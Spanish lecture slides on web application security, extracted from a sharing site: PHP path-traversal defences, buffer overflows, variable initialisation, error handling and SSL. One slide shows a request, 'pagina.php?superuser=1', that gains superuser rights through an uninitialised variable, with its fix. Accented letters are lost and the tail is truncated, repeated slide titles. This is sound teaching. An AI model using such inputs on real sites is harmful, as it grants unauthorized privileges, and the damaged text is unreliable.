Para evitar estos ataques hay que utilizar las

funciones de normalizacin de rutas que
suelen tener los lenguajes
En PHP para chequear nombres de ficheros se
utilizan las funciones realpath() y basename(). La
primera convierte direcciones relativas en
absolutas y la segunda toma una ruta y
devuelve la parte correspondiente al nombre
del fichero. En el ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera));
if ($cabecera2 == $cabecera)
include (/lib/ . $cabecera);
117
Path Traversal
Otra defensa contra los nombres de ficheros

incorrectos en PHP es la directiva de
configuracin open_basedir:
open_basedir = /alguna/ruta
// en php.ini
PHP limitar las operaciones sobre ficheros al

directorio especificado y sus subdirectorios.
As, por ejemplo,
include (/alguna/ruta/lib.php); // permitido
include (/otra/ruta/lib.php);
// da un error
// de ejecucin
118
Path Traversal
Ejercicio: acceso a ficheros del sistema
119
Buffer Overflow
Este ataque consiste en corromper la pila de

ejecucin de una aplicacin enviando unos
datos de entrada especialmente preparados
con tal fin
El objetivo es conseguir la ejecucin de un
cdigo enviado por el atacante y tomar el
control de la mquina
Estas vulnerabilidades no son fciles de
detectar y, de hacerse, son muy difciles de
explotar
120
Buffer Overflow
Las vulnerabilidades pueden estar presentes en las

herramientas (como el servidor web) o bibliotecas
externas, siendo en tal caso conocidas
pblicamente y por tanto ms peligrosas. La nica
proteccin contra ellas consiste en tener
actualizadas todas las herramientas
Tambin pueden encontrarse en la aplicacin,
siendo ms difciles de explotar porque habr
menos atacantes. Adems, en caso de descubrirlas
no ser fcil aprovecharlas ya que desconocen el
cdigo fuente de la aplicacin. La proteccin pasa
por comprobar todo el cdigo que acepta datos de
entrada para asegurar que chequea su tamao
121
Programacin segura
Para evitar o al menos disminuir las

vulnerabilidades de una aplicacin web es
muy importante seguir unas correctas
prcticas de programacin. Veamos algunas
de las ms importantes:
Inicializacin de variables
Gestin de errores
Proteccin de informacin
122
Sea el siguiente cdigo:

if (comprueba_privilegios())
$superuser = true;
Una llamada de la forma

pagina.php?superuser=1
permitira obtener privilegios de superusuario.

Este problema se soluciona dando un valor
inicial a la variable $superuser:
$superuser = false;
if (comprueba_privilegios())
$superuser = true;
123
En general es recomendable inicializar todas

las variables antes de usarlas
En PHP se puede usar la directiva
error_reporting=E_ALL que hace que se muestre
un mensaje de aviso cuando se use una
variable que no haya sido previamente
inicializada
124
Tambin se puede deshabilitar register_globals

en el fichero php.ini
La directiva register_globals establece si se
admite o no la creacin automtica de
variables globales
A partir de PHP 4.2.0 el valor por defecto de
esta directiva es off, que es el valor
recomendable
Para acceder a las variables globales se deben
utilizar los arrays globales $_SERVER, $_ENV,
$_REQUEST, $_GET, $_POST, $_COOKIE,
$_FILES, $_SESSION y $_GLOBALS
125
PHP crea automticamente variables globales a

partir del entorno (E), las cookies (C), la informacin
del servidor (S) y los parmetros GET (G) y POST (P)
La directiva variables_order controla el orden de estas
variables. El valor por defecto es EGPCS
Permitir la creacin de variables globales desde
parmetros GET y POST y desde cookies es
potencialmente peligroso. Un posible valor para
variables_order que evita esto es ES
En tal caso para acceder a los parmetros de los
formularios y a las cookies hay que usar los arrays
globales $_REQUEST, $_GET, $_POST y $_COOKIE
126
Ejercicio: error en la autentificacin de

usuarios
127
Gestin de errores
Los mensajes de error son una fuente de

informacin muy importante para los atacantes.
Pueden proporcionar informacin sensible que les
permita refinar sus ataques
En un entorno de produccin debe evitarse la
aparicin de mensajes de aviso o error. En PHP se
pueden utilizar las siguientes directivas en php.ini:
display_errors = off
log_errors = on
error_log = /var/log/php_errors.log
Los errores irn al fichero especificado en lugar de

mostrarse en la pantalla
128
Gestin de errores
Ejercicio: localizacin de pginas con errores
129
Toda informacin sensible debe almacenarse por

separado del programa que la utiliza y
preferentemente en un directorio situado fuera del
rbol de directorios de la Web para evitar que
pueda ser accedida por su URL
En PHP se puede hacer indicando la ruta completa
de los ficheros en las funciones include() y require()
o mediante la directiva include_path en php.ini:
include_path = .:/usr/local/php:/usr/local/lib/myapp
De esta forma, aunque se revele el cdigo fuente

de los programas, no se mostrar informacin que
comprometa al sistema
130
Debe evitarse utilizar en el cdigo comentarios

que den demasiados detalles acerca del
funcionamiento del programa. Puede ser
conveniente eliminarlos en la versin de
produccin de la aplicacin
Hay que suprimir las rdenes de depuracin
colocadas en el cdigo durante su desarrollo
Deben protegerse los ficheros que tengan el
acceso restringido. Para ello no basta con suprimir
los enlaces al fichero; alguien podra dar con su
nombre y obtenerlo directamente escribiendo su
URL. La seguridad a travs de la oscuridad
no funciona
131
Ejercicio: revelacin de informacin en el

cdigo fuente
132
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
133
SSL
SSL (Secure Socket Layer) es un protocolo

para asegurar el transporte de datos entre el
cliente y el servidor web. Diseado
inicialmente por Netscape, hoy da es
soportado por la mayora de los servidores
web
Podemos reconocer una conexin HTTP sobre
SSL porque aparece el prefijo https en
lugar de http en la URL
134
SSL
La versin actual de SSL es la 3 y a partir de

ella se est desarrollando un protocolo
pblico por parte del Internet Engineering
Task Force (IETF), que se conoce como TLS
(Transport Layer Security) y es compatible
con SSL
135
SSL
SSL no es un protocolo simple sino que tiene

dos niveles de protocolos
El protocolo Record proporciona servicios de
seguridad bsica a varios protocolos de nivel
ms alto, entre ellos HTTP
136
SSL
SSL proporciona una comunicacin segura

entre cliente y servidor permitiendo la
autentificacin mutua, el uso de firmas
digitales y garantizando la privacidad
mediante encriptacin. Una sesin SSL se
establece segn una secuencia de
operaciones
137
SSL
138
SSL
139
Prctica 5: SSL en Apache
Creacin de un certificado digital

Configuracin de Apache para utilizar el
certificado en una conexin SSL
140

Seguridad aplicaciones web

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Seguridad aplicaciones web

Uploaded by

Copyright:

Available Formats

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

2. Autentificacin bsica HTTP

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Aplicaciones cliente/servidor que utilizan el

Seguridad en Sistemas Informt

La seguridad supone un coste econmico y

El riesgo cero no es prctico

Hay diversas formas de mitigar el riesgo

No se puede gastar un milln para proteger

Seguridad en Sistemas Informt

The Open Web Application Security Project

Seguridad en Sistemas Informt

Top Ten de amenazas

Seguridad en Sistemas Informt

Es conveniente tener en cuenta unos principios

Validar la entrada y la salida

Fallar con seguridad

Mantener un esquema de seguridad simple

Utilizar componentes de confianza

La seguridad a travs de la oscuridad no

Mantener los privilegios al mnimo y separados

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Cdigo que circula por la red y se ejecuta en

Seguridad en Sistemas Informt

Puede estar incrustado directamente en el

Seguridad en Sistemas Informt

Hay cuatro tipos bsicos de cdigo mvil:

Lenguajes de macro como Visual Basic for

Scripts como JavaScript y VBScript

Seguridad en Sistemas Informt

Es un lenguaje de macro propio de Microsoft

Seguridad en Sistemas Informt

Las versiones previas a Office 97 ejecutaban

Seguridad en Sistemas Informt

Para protegerse de los virus de macro hay

Seguridad en Sistemas Informt

Fue diseado para aadir interactividad a

Seguridad en Sistemas Informt

El nico problema serio est relacionado con los

Seguridad en Sistemas Informt

Otra fuente de problemas es la posibilidad que

Seguridad en Sistemas Informt

Slo funciona con Internet Explorer y Outlook,

Seguridad en Sistemas Informt

Normalmente no pueden leer ni escribir datos en el

Seguridad en Sistemas Informt

Son la respuesta de Microsoft a las applets de Java

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

El problema se da cuando un control est mal

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt

Seguridad en Sistemas Informt